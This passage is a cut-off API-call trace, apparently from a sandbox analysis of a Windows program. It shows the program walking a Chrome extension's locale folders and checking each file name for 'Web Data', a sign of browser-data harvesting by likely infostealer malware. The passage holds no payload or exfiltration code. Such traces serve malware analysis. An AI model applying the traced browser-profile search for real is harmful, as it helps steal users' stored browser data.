returned 0x0 [0078.515] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned 124 [0078.515] lstrlenA (lpString="\\*.*") returned 4 [0078.515] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.515] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" [0078.515] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*" [0078.515] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.515] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.515] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.515] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.515] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.515] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.515] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.515] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.515] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.515] LocalFree (hMem=0x6525c0) returned 0x0 [0078.515] LocalFree (hMem=0x6524b8) returned 0x0 [0078.515] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.515] lstrcmpiA (lpString1=".", lpString2="lv") returned -1 [0078.515] lstrcmpiA (lpString1="..", lpString2="lv") returned -1 [0078.515] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.515] lstrlenA (lpString="\\") returned 1 [0078.515] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.515] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.515] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.516] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.516] lstrlenA (lpString="lv") returned 2 [0078.516] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.516] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.516] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="lv" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" [0078.516] LocalFree (hMem=0x6523b0) returned 0x0 [0078.516] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned 124 [0078.516] lstrlenA (lpString="\\*.*") returned 4 [0078.516] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.516] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" [0078.516] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*" [0078.516] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.516] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.516] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.516] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.516] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.516] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.516] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.516] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.516] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.517] LocalFree (hMem=0x6525c0) returned 0x0 [0078.517] LocalFree (hMem=0x6524b8) returned 0x0 [0078.517] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.517] lstrcmpiA (lpString1=".", lpString2="ms") returned -1 [0078.517] lstrcmpiA (lpString1="..", lpString2="ms") returned -1 [0078.517] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.517] lstrlenA (lpString="\\") returned 1 [0078.517] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.517] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.517] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.517] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.517] lstrlenA (lpString="ms") returned 2 [0078.517] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.517] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.517] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ms" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" [0078.517] LocalFree (hMem=0x6523b0) returned 0x0 [0078.517] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned 124 [0078.517] lstrlenA (lpString="\\*.*") returned 4 [0078.517] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.517] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" [0078.517] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*" [0078.517] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.517] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.517] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.517] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.517] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.517] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.517] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.517] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.517] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.517] LocalFree (hMem=0x6525c0) returned 0x0 [0078.517] LocalFree (hMem=0x6524b8) returned 0x0 [0078.517] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.517] lstrcmpiA (lpString1=".", lpString2="nl") returned -1 [0078.517] lstrcmpiA (lpString1="..", lpString2="nl") returned -1 [0078.517] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.517] lstrlenA (lpString="\\") returned 1 [0078.517] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.517] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.518] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.518] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.518] lstrlenA (lpString="nl") returned 2 [0078.518] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.518] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.518] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="nl" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" [0078.518] LocalFree (hMem=0x6523b0) returned 0x0 [0078.518] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned 124 [0078.518] lstrlenA (lpString="\\*.*") returned 4 [0078.518] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.518] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" [0078.518] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*" [0078.518] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.518] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.518] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.518] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.518] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.518] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.518] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.518] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.519] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.519] LocalFree (hMem=0x6525c0) returned 0x0 [0078.519] LocalFree (hMem=0x6524b8) returned 0x0 [0078.519] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.519] lstrcmpiA (lpString1=".", lpString2="no") returned -1 [0078.519] lstrcmpiA (lpString1="..", lpString2="no") returned -1 [0078.519] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.519] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.519] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.519] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.519] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.519] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.519] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="no" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" [0078.519] LocalFree (hMem=0x6523b0) returned 0x0 [0078.519] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.519] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no" [0078.519] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*" [0078.519] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.519] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.519] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.519] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.519] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.519] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.519] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.519] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.519] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.519] LocalFree (hMem=0x6525c0) returned 0x0 [0078.519] LocalFree (hMem=0x6524b8) returned 0x0 [0078.519] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.519] lstrcmpiA (lpString1=".", lpString2="pl") returned -1 [0078.519] lstrcmpiA (lpString1="..", lpString2="pl") returned -1 [0078.520] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.520] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.520] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.520] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.520] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.520] lstrcatA (in: 